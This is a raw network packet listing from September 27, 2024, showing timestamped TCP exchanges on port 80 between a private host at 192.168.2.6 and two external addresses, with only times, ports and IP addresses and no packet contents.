Sep 27, 2024 16:18:21.222309113 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.222320080 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.222357035 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.222357035 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.222384930 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.222395897 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.222489119 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.222508907 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.222518921 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.222528934 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.222558975 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.222567081 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.222577095 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.222588062 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.222601891 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.222601891 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.222655058 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.222667933 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.222690105 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.222701073 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.222712040 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.222750902 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.222774029 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.222779036 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.222788095 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.222798109 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.222809076 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.222831964 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.222918034 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.222924948 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.222939014 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.222949982 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.222959995 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.222991943 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.222991943 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.223026991 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.223079920 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.223125935 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.223135948 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.223148108 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.223157883 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.223166943 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.223196983 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.223196983 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.223284006 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.223294973 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.223304987 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.223315001 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.223326921 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.223331928 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.223341942 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.223365068 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.223396063 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.223473072 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.223561049 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.224046946 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.224075079 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.224086046 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.224093914 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.224112988 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.224133968 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.224154949 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.224164963 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.224205017 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.224261045 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.224271059 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.224308968 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.224320889 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.224332094 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.224391937 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.224443913 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.224453926 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.224464893 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.224473953 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.224483967 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.224494934 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.224500895 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.224524975 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.224570990 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.224616051 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.224616051 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.224633932 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.224644899 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.224668980 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.224685907 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.224703074 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.224713087 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.224777937 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.224788904 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.224800110 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.224800110 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.224827051 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.224842072 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.276655912 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.276683092 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.276695013 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.276705027 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.276715994 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.276726961 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.276746035 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.276746035 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.276774883 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.276784897 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.276796103 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.276848078 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.276868105 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.276878119 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.276932955 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.276932955 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.277014017 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.277025938 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.277036905 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.277054071 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.277065039 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.277091026 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.277091026 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.277143002 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.277163982 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.277174950 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.277219057 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.277219057 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.277236938 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.277247906 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.277262926 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.277271032 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.277282000 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.277297020 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.277321100 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.277321100 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.277470112 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.277482033 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.277539968 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.278115988 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.278166056 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.278182030 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.278192997 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.278222084 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.278234005 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.278299093 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.278315067 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.278326035 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.278337002 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.278347015 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.278357983 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.278386116 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.278410912 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.304718018 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.304765940 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.304775953 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.304831028 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.304842949 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.304862022 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.304862022 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.304935932 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.304946899 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.304958105 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.304970980 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.304996014 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.305032015 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.305110931 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.305120945 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.305131912 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.305143118 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.305152893 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.305164099 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.305176973 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.305176973 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.305247068 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.309145927 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.309195995 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.309205055 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.309215069 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.309257030 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.309257030 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.309283972 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.309340000 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.309364080 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.309379101 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.309390068 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.309405088 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.309421062 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.309442043 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.309498072 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.309540033 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.309554100 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.309565067 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.309576035 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.309606075 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.309631109 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.309751987 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.309762955 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.309811115 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.309890032 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.309947968 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.309967041 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.310019016 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.310029030 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.310071945 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.310081959 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.310120106 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.310120106 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.310178995 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.310189009 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.310199022 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.310209036 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.310230017 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.310250044 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.310281038 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.310339928 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.310348988 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.310358047 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.310385942 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.310395956 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.310405016 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.310405016 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.310417891 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.310427904 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.310439110 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.310456991 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.310512066 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.310524940 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.310537100 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.310564041 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.310607910 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.310616016 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.310626030 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.310636997 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.310688019 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.310688019 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.310714006 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.310729980 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.310771942 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.310771942 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.310846090 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.310857058 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.310868025 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.310878992 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.310889006 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.310904026 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.310909033 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.310909033 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.310931921 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.310969114 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.311012983 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.311024904 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.311089039 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.311106920 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.311117887 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.311127901 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.311173916 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.311173916 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.311263084 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.311273098 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.311284065 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.311321020 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.311321020 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.311702013 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.311712980 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.311722040 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.311767101 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.311768055 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.311780930 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.311834097 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.311841965 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.311853886 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.311887980 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.311887980 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.311903954 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.311913967 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.311924934 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.311949968 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.311959982 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.311999083 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.312015057 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.312026024 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.312046051 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.312076092 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.312098026 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.312108994 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.312119007 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.312151909 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.312167883 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.312167883 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.312184095 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.312191963 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.312200069 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.312241077 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.312249899 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.312268019 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.312278032 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.312289000 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.312304020 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.312351942 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.312376976 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.312386990 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.312398911 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.312437057 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.312437057 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.330290079 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.330301046 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.330311060 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.330375910 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.330420971 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.330461025 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.330476999 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.330488920 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.330523968 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.330662012 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.330703974 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.330707073 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.330714941 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.330739021 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.330758095 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.330852032 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.330862999 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.330904007 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.331079006 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.331125021 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.331125021 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.331135988 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.331162930 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.331190109 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.331192970 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.331237078 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.331363916 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.331374884 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.331393957 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.331415892 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.331442118 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.331515074 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.331526041 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.331542015 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.331552029 CEST	80	49613	185.215.113.17	192.168.2.6
